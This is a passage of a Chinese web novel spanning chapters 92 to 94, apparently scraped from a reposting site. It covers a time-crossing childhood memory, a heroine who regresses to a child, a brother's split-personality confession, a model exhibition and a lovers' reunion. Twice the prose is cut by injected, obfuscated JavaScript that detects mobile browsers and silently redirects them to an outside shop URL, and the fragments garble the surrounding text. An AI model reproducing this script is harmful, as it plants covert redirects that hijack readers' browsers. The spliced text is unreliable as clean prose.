最初遇到沉皑,他的反应也可以佐证这个猜测:他们很久没有见面。以至于明明出现了长得一模一样的人,沉皑选择了否认这件事,时咎觉得这个原因大部分在于自己,因为遇到沉皑小时候是未来发生的事,这个时候自己已经喜欢上他了,所以对他温柔耐心,但对于他自己的时间线,遇到成年后的沉皑才是先发生的,当然对他态度不太好。 也许在当时的沉皑眼里,小时候温柔的小久哥哥和事事同他作对、越狱的时咎,永远不可能是同一个人。 尽管小沉皑不依不饶,时咎也没多说什么,倒是编了一个完整的故事,他说,其实他没有住的地方也没有家,因为他和他的朋友们一样,在那场意外里都去世了,却只有他一个人如约回到这里,他的朋友们再也没有回来,不过还好遇到了沉皑,是他最后时间里唯一的快乐,也是最好的朋友。 小沉皑不接受这个说法,于是时咎抱了抱他说:“没事,你会变成一个特别温柔特别好的人,我们以后还会见到的。” 小沉皑问他:“什么时候?怎么才会见到?” 时咎想想说:“该遇到的时间就遇到了,命运都有他最精妙的安排。” 不执着,不执念。但时咎觉得这句话对他自己可能更适用。 命运是仁慈的,不会给人他无法承受的痛苦,除非他本身就逆了天道——道启教。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187383|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>小沉皑跑到湖边去折唯一一棵柳树的枝条送时咎,时咎没反应过来已经接住了,问他这是什么? 小沉皑说:“他们说‘柳’通‘留’,你接了,就要留下了。” 时咎没忍住“噗嗤”笑出来。他让小沉皑回去休息,小沉皑直接坐在地上不动,反而向时咎伸出双手。 时咎:“怎么?” 小沉皑面无表情仰望着他:“刚刚踢到树叶了,腿疼,走不动。” 时咎微笑:“你要不要听听你在说什么?” 小沉皑继续毫无感情地重复:“走不动。” 时咎发现这位未来的沉先生城府太深了。又深又不深的,用这种理由,但是又说得光明正大的。 时咎无语用手推了一把小沉皑的额头,小孩顺势倒在一堆树叶中间,枯叶发出清脆的碎裂声,小孩真就直接躺着不动了。 时咎嘲讽道:“沉先生可真是脆弱啊!” 小沉皑一副“你不拉我我就不动了”的架势,赖皮着手伸着就是不收回,最后时咎还是背对着他蹲下,无奈道:“上来,我背你。” 小沉皑露出满意的笑容。 公园的灯沿着小石子路点亮,从树林的出口、顺着湖边延伸至黄土的围栏。湖面倒影着一个修长的身影背着另一个稍微年少的身影缓步前行。 一步一步,坚定又小心。 “小久哥哥。”闷闷的声音从肩头传来,距离近在咫尺,耳廓感受到他说话时吹出的风。 “怎么?” “困了。” 时咎脚步没停,他看向老宅到公园的入口:“回去睡觉?” “不。”小沉皑的声音有些弱,好像长期的紧绷终于得以放松,“给我唱首歌吧。” 时咎沉默几秒,心里想着能给小孩唱什么,静谧的夜晚,适合静谧的歌。 于是时咎开始随意哼了几句“小星星”,恩德诺一定没有这首童谣,它也格外适合今天的夜晚。 柔软的音调传到小沉皑耳里,一开始他觉得是轻快的旋律,随着意识下陷,周围一切声音都逐渐变得朦胧,那旋律好像也就变了调,一路下滑到记忆深处。 没多久,背后传来安稳的呼吸。时咎一路背着他,一圈一圈绕着,那根柳条别在时咎腰上摇晃,摇晃,摇到他在某天真的留下。 沉皑觉得这样的日子还可以过很久,直到自己有足够能力保护这个他想保护的人,但在下个满月的夜晚,小沉皑拖着一瘸一拐浑身是血的身体跑到树林深处,想找那个熟悉的人帮他包扎上药,就从那天起,他再没见过心里的小久哥哥,即使跑遍整个公园,整个老宅。 时钟嘀嗒。小沉皑坐在长沙发上,静默地看着墙上两幅风景画,但他的眼里看不到暖色风景,只有整面皑白的墙。 夏癸温柔问他:“最近好像一直闷闷不乐?遇到什么事了吗?” 小沉皑始终一言不发,不愿意分享他和小久的故事,但想了良久,突然开口道:“以前住附近的小孩,有一群小孩出事了,他们的家人最后搬去哪了?” 夏癸惊讶:“老宅附近从来没有住过别的人家呀!” 小沉皑猛然抬头。 日日夜夜,岁岁年年。 92. 第 92 章 三个月后。医院的阳光轻柔地照在病床上少女乌黑的长发上。 站在床边的男人默然注视着她,半晌,目光转向了陪护床的另一个少女身上。他的情绪毫无起伏地问道:“这段时间稳定了?” 陪护床上消瘦的少女点头:“这半个月都是这个样子,没有再退化了。” “嗯。” 男人准备转身走,被少女叫住了,她声音很小地问:“哥哥身上的伤口都痊愈了吗?” 男人淡淡说:“不碍事了。” 紧接着少女咬咬唇,又说:“哥哥可以留下来一起陪会儿姐姐吗?”说着,她看向病床上的少女。 躺着的人面色苍白,眼睛轻轻闭着,呼吸均匀像是睡着,小小的身躯裹在厚实的被子里,显得脸庞越发稚嫩。 男人将椅子拖过来,坐在病床边。 已经很久了,记不清多久。他把季水风送到医院后自己也陷入昏迷,后来便是养伤,言不恩长时间担负起了照顾季水风的责任。 养伤这种事对于沉皑来说曾经司空见惯,便也不足为奇,但季水风遭受季山月的旋风后一直没有醒来,不仅如此,她出现了形态退化现象。 这种现象不算异常,有的人们在死后一段时间,如果是男人形象便会退化成女人形象,接着变成小孩,有的则是变成女人形象,有部分人也能保持原状,但季水风还活着,却依然出现了退化现象,刚开始,每天肉眼可见地变小,到后来逐渐稳定,一直到现在这样,维持在七八岁的形态。 不知道是否跟季山月的能力有关,也无法求证。那次仓库的事结束后,季山月、舟之覆便再也没见过。 沉皑的双手撑在病床上,交叠着靠放着自己的下巴,他背后的言不恩只能呆呆看着这个背影和床上的人。 好像那一次之后,所有的事都变了,所以关系都变了,坚信会永远成为依靠的梦想破裂了。 沉皑闭着眼,很久之后,有些疲惫地对身后的人开口:“言不恩,你的能力是什么?” 从那天起他一直没问过,因为当时过于手忙脚乱,惊雷一声一声炸响,没有人在巨大的变故里保持绝对冷静,但随着时间流逝,一切又变得突兀起来,好像再不问,那些突兀就会变成横梁,拦在所有人中间。 言不恩知道早晚有这一天,她埋着头,双手的手指紧张蜷缩抓着自己的白色裙子,双肩不自然怂起。 沉皑没有催促,静静等着不远处的车缓缓驶到楼下,又渐渐走远,后面又来了一辆,声音变大了、又减小了,开过去了很多车,每一辆都是逝去的时间。 在放慢的时间里,言不恩的声音显得微弱又轻盈,她说:“对不起。” 那声音被空气承载着,轻飘飘地传到沉皑耳朵里,沉皑将它们重重压下,不咸不淡地说:“没责怪你,只是问你,你的能力是什么?” 凭空出现的屏障,瞬间消失的人,在场只可能是言不恩,但在所有人的印象里,言不恩都是个天真烂漫的小女孩,她没有继承到父母优异的能力,而是选择做一个无忧无虑的普通人,她时常会被人感言说可惜,但她从不在意,每每都是笑呵呵地将这个话题揭过,她说她只想做个小公主,没人怀疑。 言不恩埋头,咬着唇,咬得生疼。 许久,她小声说:“我答应了父亲不说。” “嘀!”准点闹钟的声音响起,每个小时准时报时,打破了不安的氛围。 沉皑站起来,把椅子放回原处,稍微整理一下衣服便转身,他走到神色紧张的言不恩旁边,抬手摸了摸她的头发,淡淡地说:“嗯,没事,你很乖,多陪她吧,有事给我打电话。” 没有迎来想象中的苛责与愤怒,言不恩不解地抬头,只看到沉皑大步流星离开的背影。 落地灯常亮着,照着这个不大却温馨的小屋子。 沉皑坐在沙发上,熟稔地给自己重新上药后,目光便再没有挪开,他看着摆在茶几上那把玻璃水提琴,后悔一阵一阵泛开,片刻,轻轻仰头靠在背垫上,眼神空洞地凝视天花板。 第二天沉皑接到了言不恩的电话,电话那头的人语气焦急。 “哥!我姐,我姐不见了!” 周围全是刺眼的光芒,却没有别的色彩。季水风一个人走在街上,长期卧床导致她花了很长时间才重新习惯走路,但退化的身体又让她无法完全控制。浑身都没有力气,似乎以前可以轻而易举做到的事,现在都成了奢望。 跌跌撞撞从医院跑出来,她不知道为什么要跑,只是不想呆在那里,不想看到一些人,不想回忆一些事,或许形态的退化也伴随着心智的变化,她感觉自己没有那么坚强,每每想到季山月那一把刀子,那一瞬的攻击,就会感到恶心想吐、耳鸣,想逃离,什么都不想面对,也不想知道原因。 绵长的大街,漫无目的的游荡,不知道该去哪,好像哪里都不想去,如果一定要去某个可以遮风挡雨的地方,她突然想到回家。 那栋不高的楼依然安稳地坐落,绿色百叶窗也许从来没有关闭,顶部的衣服也都被收进去了,窗户也擦干净了,好像都有人收拾过了。 季水风慢慢走进那扇拱形门,吞吞吐吐地一步一步顺着楼梯往上,让回忆随意侵袭,最终站在左边人家的门口。 她深呼吸一口气,轻轻敲门。 “咚咚。” “咚咚。” 门里很快传来了快而碎的脚步声,接着门被打开了,一个小女孩探出头。 “你好!找谁呀?”小女孩很小,看上去比她现在还小。 是一个完全陌生的面孔,季水风愣了一下,心想是不是原本住这儿的人搬家了,于是她说:“我是季水风,请问……” “是谁呀晚晚?” 季水风还没问完,里面便传出来一个成年女人的声音,季水风立刻吞进去了她想说的话。 是那个声音,是那个女人。 紧接着一阵拖鞋的声音慢慢靠近门,直到说话的女人探出头,好奇问:“谁呀?” 四目相对,一人在门外,两个在门内。季水风愣神地看着这个上了年纪的女人,对方在看到她的一瞬间也全然愣住了,她们便这样站着,隔了一道门,久久地凝视。 片刻,女人嘴唇抖了一下,惊慌而不敢相信地失声:“季,季……” 季水风轻轻点头。 沙发上一大一小都不安地坐着,女人很局促,行为都很不自然,她给季水风倒了水,又尴尬在她旁边坐下了。 旁边的小女孩开心地在客厅里打转,好像因为来客人而开心,丝毫不受沙发边的风起云涌影响。 季水风不知道如何向对方解释二十多年过去了她现在还是七八岁的模样的事,对方也没问,季水风只是询问可不可以在这里住下,女人犹豫着,答应了。 或许是觉得犹豫都不应该,在把季水风以前住的房间打扫出来后,女人仓促地说:“这本来就是你的家。” 季水风则没有回答。 她当然知道这曾经本来就是她的家。在二十多年前,她和另一个女孩住在这个房间,二十多年后,她一个人在这间熟悉又陌生的房间。 装潢都没变,墙似乎重刷了,但依然是过去的颜色,有几样家具被换了,但大部分都是旧的,或许唯一新的东西,便是那扇玻璃窗。 季水风就站在这扇玻璃窗前往外看,不知道她是在看窗外的景象,还是这扇玻璃窗本身。 “姐姐,母亲叫吃饭。”小女孩蹦蹦跳跳地进来,又蹦蹦跳跳地出去。 饭桌上也是沉默一片,季水风不说话,女人也不说话,碗筷碰撞便成了缓解焦虑的唯一方式。 小女孩玩够了爬上餐椅,凑到季水风面前说:“姐姐你以后要住我家吗?” 季水风抬头,犹豫了一下轻轻点头。 原本还快乐笑着的小女孩突然就不高兴了,她拿筷子敲敲季水风的碗,又将筷子插进她的饭里扒出来,碗里的饭被拨了一些在桌上。 她说:“你可以在我家玩,但是不可以住我家。” 女人立刻打断她:“季晚!不许胡说!这也是姐姐的家!” 小女孩转头,伸手就将筷子摔了出去,彻底不高兴了:“你看!有别人你就不喜欢我了!明明这是我家,为什么要让给别人住?” 季水风难以置信地抬头,她握着筷子的手倏然捏紧,过去的记忆哄然而至。 她猛地站起来,低声快速说了一句:“我吃好了。”便匆匆回到了她的小房间。 没多久,房门被敲响,女人沉闷的声音在外面响起:“我能进来吗?” 季水风坐在那张小小的学习凳上,这张凳子看上去非常小,第一感觉是坐不下的,可一时没反应过来自己退化的事,坐下后,又发现意外合适。 她的面前摆放着一个日记本,她正在写着什么。 季水风转过身,说:“进吧。” 门被打开,女人往前挪了一步,看见季水风时朝她露出尴尬的笑容。她走到床尾,手在衣服上抹了一把然后坐下。 季水风没有说话,等着女人先开口,女人则是在心里激烈的天人交战后,才吞吞吐吐地说:“这些年过得好吗?” 季水风说:“很好。”她的声音很平淡,但稚嫩的音色说出这样的语调反而越显苍凉,不知道她“很好”的背后经历了多少,背负了多少,在深夜时又一个人咽下了多少。 女人侧身看向那个坐在小小凳子上的小小女孩,看到她脸上完全不属于现在年龄的成熟与忧郁,磕磕绊绊地解释:“那个,晚晚还小,说话不懂事,你不要往心里去。” “她也是你的女儿吗?”季水风直接问。 女人沉默很久,不轻不重吐了一个:“嗯。”接着又说,“你们……你们走后,我一个人,就又要了一个小孩。” 季水风微微点头,随后无力地勾了下嘴角,说:“嗯,不往心里去。” 女人觉得这样的氛围太熬人,她站起来说:“我,我不知道你发生了什么,如果你还愿意说,我也愿意知道,你,你实在不愿意也没关系,这里本来就是你的家,你想住就住,本来,本来就是我对不起你。” 季水风望向她,没有回答,只是一双黑得透亮的眼镜看着她,直到她匆匆离开。 心事,无尽的心事,月光洒下的是心事,风里吹来的窃窃私语也是心事,季水风将自己彻底埋进了一片汪洋里无法自拔。变成小孩后,她不知道要怎么继续生活,不会真的像同龄人一样上学,也不会再回到同龄人的快乐,但若是恢复该有的生活,她更是做不到。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192350|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “砰”一声,季水风一拳砸在墙上,墙没有反应,她却率先红了眼睛,疼。 好像什么都没有了,熟悉的一切。 “砰!”又是一声巨响,季水风回头,看到自己的门被踢开,外面站着一个怒气冲冲的小孩,小孩抱着洋娃娃,尖锐的声音喊道:“你好吵!”说完她就进来,站在房间中央四处看了一圈,随后拿起床头柜上的小闹钟朝季水风砸去。 “你什么时候从我家离开啊!”她问。 那闹钟不偏不倚砸在季水风的后背上,发出一声闷响,季水风皱眉,却没说一句话,也没回答,而是自顾自扭头发呆。 得不到回应的小女孩更生气了,她冲进来跑到季水风身边,伸手推搡她,一边推一边大叫:“你不许跟我抢妈妈!不许跟我抢妈妈!” 季水风面无表情,身体随着推搡而晃动。 小女孩叫着叫着哭了起来,得不到回应,最后一个人哭着跑出去了。这个时候季水风才站起来走去重新关上自己的房门,继续写写画画自己的东西。 第二天,季水风醒来的时候发现自己的衣柜都被打开了,默默走过去看,发现衣柜已经空了,她平静地开门出去,果然看到小女孩正抱着她的衣服,正拿着剪刀一点点地剪着。 家里的大门也是开着的,一部分变成拖把布的衣服在外面堆着,一部分正是小女孩手里的玩具,小女孩似乎还很开心,一边对这些衣服进行二次创作,一边还嘟嘟囔囔着“花花,湖水,妈妈……” 因为曾经在这里住过,所以季水风和曾经另一个女孩的衣服还保留着一些在家,只是那件事后她俩都不在了,所以女人把这些古早物品收起来,直到最近季水风回来才又重新拿出来,本来就没多少,现在全部成了小女孩手里的、她的快乐。 楼梯间传来脚步声,一个女人惊异的声音炸响,她出现在门口,吼了一句:“季晚你在做什么?!” 一切都以小女孩的大哭收场。 季水风没有发泄她的任何情绪,即使看着自己的牙刷出现在垃圾桶里,即使发现女人给自己新买的衣服再次被剪了稀碎,即使吃饭的时候被故意打倒的热汤溅了满身,也没有多说一句话,将全部的情绪吞进肚子里。 直到一个多雾的清晨,女人带着季晚刚刚出门不久,她们家的大门被敲响了。 季水风一个人在家的时候不会给任何人开门,也不想跟世界有任何联系,但那敲门声孜孜不倦,似乎不开就会一直敲下去,季水风觉得烦了,最终从房间里出来,顶着一头乱糟糟的头发跑去开门。 门外站的是她不想见的人。开门的一瞬间,她露出了诧异的神情,但不超过一瞬间就收拾得干干净净,变得茫然而无措。 季山月往前走了一步,刚要开口,所有话又被强制吞下了,他看到季水风的模样震惊到说不出话,嘴唇抖得碰不到一起,满脸的无法相信。紧接着便是“咚”的一声,他在季水风面前跪下了,再抬起头,他眼眶红得吓人。 他说:“姐!对不起!!” 季水风轻轻睁大眼,有些疑惑地看着他。 季山月就着跪下的姿势,伸手握住季水风的手,心里疼得一句话都说不完整,他浑身颤抖着,埋头努力克制自己的情绪,好几分钟,他颤巍抬起头,对上季水风平静得有些天真的眼睛,声音细抖着说:“姐,你,你怎么变成这样?对不起,姐,对不起!我不知道,我不知道为什么,对不起,我早该告诉你的,但是我真的没想到会这样。还好,还好能找到你!我不敢去找沉皑,我不敢,对不起!” 他继续说道:“前一段时间我就发现不对了,我有时候会不知道我在哪里,我明明记得,我记得我刚刚在做一件事,要去哪里,但是下一秒,我就在另一个地方,中间,我不知道我在干什么,我好像会失去那段时间的记忆。” 他向季水风说明情况,尽力解释,解释那些他也无法分辨的事,他说他好像能在脑海里看到另一个人,与他一模一样的人,却不是他,他的内心世界多了一束聚光灯,他们之间谁走到光下,谁就掌握了这具身体的控制权。他不知道这是为什么,以为只是最近发生的事太多导致的焦虑,直到他发现了季水风收到的那些写有“杀死不纯之人”的字条上,是他自己的笔迹时,他察觉到了事情不对。 之前的时间里,每次被另一个人抢占聚光灯,他都是无意识,而他在攻击沉皑时,是他意识最清晰的时候,他亲眼看见自己掏出刀,向在场唯一一个背对着他的人用力刺去,接着便是使出能力,他也看到了季水风扑到沉皑面前,看到自己的能力攻击到季水风身上。他嘶吼,他狂怒,他爆发,但是都无济于事,他控制不了自己。 季山月抓着季水风的手,跪下的膝盖迟迟没有抬起来,他崩溃地说:“我真的不知道发生了什么,姐,我拿回身体控制权的时候,舟之覆也在,他说,说我是人格分裂,但是我不知道,我现在来找你我也很害怕,怕突然又不受控制。” 他自顾自说了很多,季水风的表情一点都没有变,稚嫩而单纯的目光有些呆滞,后面逐渐变为尴尬,在季山月再次企图说些什么的时候,她终于忍不住打断他。 她愣愣地说:“妈妈不在家,哥哥,你是谁?” 季山月浑身一震,张着的嘴再也没能说出一句。 93. 第 93 章 展览馆里此时人来人往,偌大的大厅挤着不少慕名而来的观众,还有很多人是亲朋好友。 时咎恢复正常生活有些日子了,除了每个月必须的工作,近些日子又多了一样工作:制作一个大型模型设计。他提出一个新的世界观模型,在这个世界里,人们可以使用意识进行交流,可以做到完全的感同身受,人和人之间坦诚真心,艺术与美的文化颇受人们喜爱,不仅如此,他们喜欢创新,喜欢丰富的想象力,而不拘泥于模板与套路。 不过这个世界也不是全然美好,因为它存在着“性本恶”原理,所以在这个世界的未成年人中,相当大一部分人都会随意释放自己的恶意,越是孩子,越能被原谅,越是作恶。因此“起源进化”是这个世界的一个门槛。除此之外,在起源进化里,还有“看守者”为未成年人的进化负责。 这个大型模型的名字叫AETERNUS,来自拉丁语“永恒”与原印欧语“生命力”。 参观展览的人围着玻璃看向里面,在玻璃中央,一个广场作为显眼,广场的正大门写着六个大字:世界文明中心。广场中央则是绿化带围绕着的石头,上面清晰写着:爱是一切的答案。 有点临摹不出来那几个字的书写手法,好像还差点意思。时咎也像观众一样站在展览馆里到处看。 除了中央的大型模型,周边的陈列柜里放的是某些建筑具体的样貌,或者某些特殊地方的具体说明。整个展览将文明中心展示得巨细无遗。 出于私心,文明中心外面还有几栋大城区的楼房,是沉皑家住的那一小块地方,还有老宅那个私人花园。一草一木,一砖一瓦,栩栩如生。 时咎听到有人赞不绝口,有人不屑一顾。 “意识都全部透明了,那人有啥秘密啊?好可怕。”有人在窃窃私语。 也有人说:“都喜欢搞艺术搞哲学,那能赚到钱吗?” 还有人评价说:“理想主义。” 更甚者,有声音毫不避讳地说:“领导怎么能意识透明呢?那百姓不什么都知道了?怎么大国博弈呢?” 突然一只手伸过来扇掉了传来的嘀咕,唐廷璇的脸出现在时咎面前,她小声说:“哟,时咎同学,偷听别人蛐蛐你呢?” 时咎有一种偷听别人背后议论自己还被逮到的错觉,他笑笑说:“对,浅浅听一下。” 唐廷璇无语:“会说出怎么大国博弈、人要有秘密这样的话,用自己现有经验的逻辑套用其他的世界,听了不生气啊?” 时咎无所谓耸肩:“不生气啊,你都说了用现有经验套用未知经验,做出这样的评论才是对的,符合人家价值观的,既然说的是对他们来说对的话,我干嘛生气。” 唐廷璇拿手指猛戳他,恶狠狠责怪他:“你就这样!反正我是很讨厌不懂还要评价的!” “嘘。”时咎示意她缄口,并朝她眨眨眼说,“你说得对,不理解就不随意评价,可能不理解只是因为别人的想法更高维,所以我们也不评价。” 他的脑海里突然出现一句话,便说了出来:“让伤害止于自己。” 是从季水风那儿学到的。 好像有人听到了时咎说话认出了他,偷偷凑到他跟前,小声问:“你就是这个展览的创作者啊?” 时咎看到唐廷璇在背后用嘴型模仿了这句话。 时咎点头。 对方问:“我刚刚就在想,这样的世界里,拉开贫富差距的是什么呢?” 时咎想了想在那个世界,虽然他不太确定,但还是按照自己的理解回答:“我猜,是想象力吧。但他们的贫富差距并不大,因为赚超出物质需求的钱本身就代表着一部分的精明与算计,但是在思维透明的世界里,这样的人并不受欢迎,所以大部分的人都有他们独特的卓越的想象力方面的成就,获得财富只是创造得来的附加品。物质需求满足,精神需求也满足的基础上,人们并不理解拉开贫富差距是什么意思。” 对方好像有些明白,好像又不太明白,时咎只是对他笑了笑,没有解释太多。 展览开放了整整一个月,几乎每天时咎都在展览馆里泡着,看着那些熟悉却又不真实的场景,一次次掉进自己的祈祷里。 手机里保存着模型的照片,但起源实验室的照片最多,全方位各个角度都拍了个遍。 时咎躺床上一张一张在翻着这些照片,实验室的每条路,每个细节。 堆叠的鹅卵石大楼,正门进入,右边穿过一条长长的走廊,走廊有荧幕经常在播放一些新闻,走到底便是电梯,乘着电梯一路往上,到达管理的楼层,五楼,出电梯再路过一条长长的走廊,走到T型分岔路口,一边的尽头是舟之覆,一边的尽头是沉皑。 沉皑办公室的门虚掩着,里面传出来说话声,是季山月的声音。 季山月声音里全是疲惫,他好像是用双手捂着脸一样,声音闷闷地说:“对不起,我知道自己做了什么,我不想开脱,对不起。” 季山月。 等等……!!为什么会有季山月的声音? 时咎猛然睁开眼,即刻到来的心悸让他向前踉跄了一步,但手撑着墙很快稳住了自己的身形,他不可置信地抬头。 长长的走廊,熟悉的每个细节,每晚都在看的地方。 “嗡嗡”的眩晕感好一会儿才缓解过来,时咎突然感觉自己的心脏几乎要跳出来了,那“砰砰”的声响大得无法忽视,接下来的声音让他更是忘记呼吸。 是那个熟悉又低沉的声音,尽管只是冷冷淡淡的一个字,但时咎在第一个瞬间就认出来了。 沉皑说:“嗯。” 随即,时咎如释重负般深深呼吸一口气,又慢慢将它们呼出来,好像呼出了长时间以来身体里堆积的所有焦虑不安,所有恐惧痛苦,所有思念与担心。 他背靠着长廊的墙壁,无声地让自己慢慢滑坐在地上,仰着头,终于扯出一个无奈的笑容。 不执着,不执念。该遇到的时间就遇到了,命运都有他最精妙的安排。 还好,还好。 门缝里的对话没有停止,不出片刻,似乎是从崩溃情绪里好一点的季山月开口道:“我去找了我姐,但是她不记得我了,发生过什么都不记得了,我,我真的很痛苦,我看到她的身体就那么小,就像我们刚回老宅七八岁那个时候的样子,我好痛苦。” 沉皑情绪平平:“嗯,不记得挺好。” 时咎不知道他们后来发生了什么,但是看现在的样子,似乎是季山月又恢复了正常,也就是说当时季山月是被某种能力操控了?所以他才会去找季水风,现在也还能和沉皑正常对话。只是听季山月的意思,季水风失忆了,并且变回了七八岁的样子。 季山月还是很不安,他 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他说得非常肯定,沉皑也没有否定。 时咎记得这两个孩子第一次去老宅的时候的样子,季山月很开心牵着季水风,但是那会儿季水风刚刚从魔鬼般的家庭里活过来,整个人都是忧郁和离群的,这样的状态持续到他再也没梦见过他们的小时候也依然存在。不过季山月说的是实话,虽然季水风当时不爱说话,季山月却是很喜欢这个姐姐,小小年纪就在扬言要保护她,而且后来从季水风温柔的性格,事事护着季山月,和沉皑交好来看,他们一起训练那十多年,必然是交心朋友。 时咎将双手搭在膝盖上,想着存在的可能性。 季山月的声音再次传来,这回低迷了很多,他说:“我不敢找我姐,我也不敢找你,但是我想把话说清楚。” 沉皑淡淡道:“嗯。” 季山月:“你的伤都好了吗?” 沉皑:“好了。” 季山月长舒一口气,喃喃道:“那就好,那就好,吓死爷爷了。” 片刻,沉皑说:“你走吧,我想一个人。” 沙发响动的声音。时咎睁开眼,迅速从地上站起来,闪身躲进了隔壁房门的空隙中,接着他听到季山月让沉皑照顾好自己,下次如果遇到另一个他,就杀掉他后,门开了,脚步声出现在走廊里,门被轻轻关上,随之脚步声远去。 走廊很快变得空无一人,人们说话的声音从遥远的地方传来,在这里听得不真切。 时咎在走廊停驻了很久,慢慢挪到沉皑的办公室门前,门是关着的,他的手抬起来又没有敲下去。 如果是再早些时间,他可能会毫不犹豫地破门而入,会去拥抱这个差点就失去的人,会去吻他,会告诉他很想他,很喜欢他,就像那次在仓库。但在那个公园发生的事让他心有余悸,他不敢知道后来的这么多年,沉皑都怀揣着什么样的心情在想那段往事,怕开门看见沉皑,又仿佛看到当时躺在落叶中间耍赖要抱的小孩,他都经历了什么,想了什么,才从一个什么事都名表于心的人变成现在这样的性格。 想想觉得有些酸涩。 怎么面对他?怎么开口说第一句话? 那忧虑的脚步徘徊很久,时咎都没有察觉自己就在这门口走着的脚步声逐渐失去控制。 里面传来很冷漠的声音:“谁?” 94. 第 94 章 时咎瞬间从自己的内心世界抽离出来,这才反应过来自己焦虑过头了,于是他只能尴尬地敲门。 里面的声音还是很冷漠,他说:“有事明天再说。” 时咎侧头看了一眼走廊的窗户,这才发现外面的颜色已经是橘色,似乎是夕阳了。 但是时咎觉得自己等不到明天,于是他又敲了几下门。 里面没声音了。 时咎忽然想笑,因为想起了小沉皑的种种表现,又觉得自己这样的思虑实在是没必要,喜欢就是喜欢,想念就是想念,失去过,不想再犹豫了。 这下时咎彻底放开了,他开始故意隔一秒敲一下,敲得里面的人不耐烦又问了一遍:“谁?” 时咎这次终于十分乖巧地回答:“沉先生,是我,请问可以进来吗?” 如果他听不出来自己的声音,就冲进去暴揍他,永无宁日。 但很快门便被猛地拉开了。 时咎轻倚在门框上,双手抱在胸前,脸上带着些浅浅的笑意,他朝开门的人招招手,笑说:“好慢啊,沉先生,你是不想见我吗?” 沉皑愣了好半天,表情才逐渐变得柔和,他好像全身都突然放松下来,轮廓像融化的冰滴进池塘,最终是一池的微澜。他伸手,似乎是想拉时咎进来,哪想时咎却一个猛扑,直接将他往后扑退好几步,伸出去的手立刻变成了接应的动作。 “砰!”门被时咎顺便一脚踢上了。 时咎扑上去紧紧抱着他,拿双手环抱着他的肩、他的脖子,头直接埋进他的颈窝,大口呼吸着熟悉的气息。他感觉到自己的心跳很快,也能感受到对方的心跳快起来。沉皑接住了他,在他扑过来的一瞬间便将他整个人环抱住。 心跳如洪钟,震响着耳膜。 思念,整天整晚、无穷无尽的思念,数个日夜的祈祷与想念,全部破土而出。 炽热的呼吸控制不住地颤抖着,紧抱的手也在颤抖着,越是颤抖,越用力,直到深入骨髓、揉进身体。 时咎微微将头抬起,将嘴唇靠在沉皑的耳边,闭眼轻声呢喃般,用混乱的呼吸一遍遍重复道:“是我,是我,是我……” 所隔遥远的回应,但终于是回应了。 那支柳条,顺着时光的河,飘去未来,被采摘。 听到他的声音,沉皑抱着他腰的手突然抓得更紧了,他长久地吸一口气,让心里的惊涛骇浪逐渐平息,低头释然地笑出声,将头埋在深墨灰的发丝里,轻声说:“我知道。” 那一刻,暖色灯光的办公室突然变得缤纷,涌动的能量爆发出来,在不大的房间极速流动,像极光与星辰。 那被打乱的气息顺着头发从耳根一路往下,钻进衣服,刻进皮肤。满腔赤诚,浑身热血,像终于深挖出童年最隐蔽的秘密。 第一次真正意义上的拥抱,两个人谁都不愿意松手,直到时咎感觉自己始终抬起的双手变得酸软,呼吸够了对方身上的味道,他把手放下来,头也从对方的颈窝离开,但沉皑环抱他的双手并没有松开,于是他改用额头去触碰对方的额头,轻轻贴在一起,无比亲近的距离下注视着对方的眼睛。 时咎发现第一次如此近距离看那双深蓝色眼睛,比稍远点看更让人情难自已。 额头碰额头,鼻子碰鼻子,呼吸交织呼吸。时咎听到对方的声音就在耳边,有些沙哑,有些难以自禁的克制,他说:“等你好久,好久。” 或许是各种意义上的等待,无论是对于童年最喜欢的哥哥,还是后来喜欢的那个人。 时咎闭上眼,觉得胸膛里的酸楚全部来自于对方。他克制住声音里的微抖,闷闷地说:“好想你,天天都想。” 说完,他感觉到沉皑环抱他的一只手游走上来,那温热沿着脊椎往上爬,到背、到脖子,捧住了他的后脑勺,紧接着嘴唇被轻轻贴了一下,但只一瞬间,连个吻都不算又迅速放开。 沉皑身体僵直,声音有些紧张,像做了什么错事一般道歉:“对不起。” 时咎立刻睁开眼,等待的吻浅尝辄止又离开,他全身一下绷紧了,却听沉皑低声说:“我,我还没问你,可以吗?” 时咎没忍住笑,他抵着的额头使他的笑意一点不落地传到对方的感官,笑够了,才眨眨眼,让睫毛去扰乱对方也近在咫尺的睫毛,他戏谑回答:“那我要是说不可以,沉先生会耍赖不听吗?” “不会。”沉皑认真道,“我听你的。” 时咎深深叹气,这才发现,那个会故意装受伤的小孩一直没变。他轻声道:“这种事不用听我的。”话音未落,热烈而深切的吻便迎了上来,连时咎最后一个字还没说完,被完全堵了回去。 温热干燥逐渐变成湿润,柔软的唇贴着唇,沉皑的力气小心得像触碰一件易碎品,浅浅的贴合伴随灼热的气息纠缠,无法自拔。时咎随意任他摄取,又总觉得他过于克制,便主动去侵袭他的唇舌,夺取他的温热,让灼热变成灼烧。 光越来越亮,亮得整个房间通明,即使闭眼也透过眼皮照亮眼睛。 兵荒马乱的吻止于狂乱的心跳。松开后,两个人依然保持着环抱与抵额的姿势,两人都在轻轻喘着气,任气流在两人狭窄的距离中肆意横行。 沉皑紧张、压着声音急促问他:“会讨厌吗?” 时咎眨眼:“讨厌什么?” 沉皑的声音里都是克制的轻颤:“讨厌……跟我接吻?” 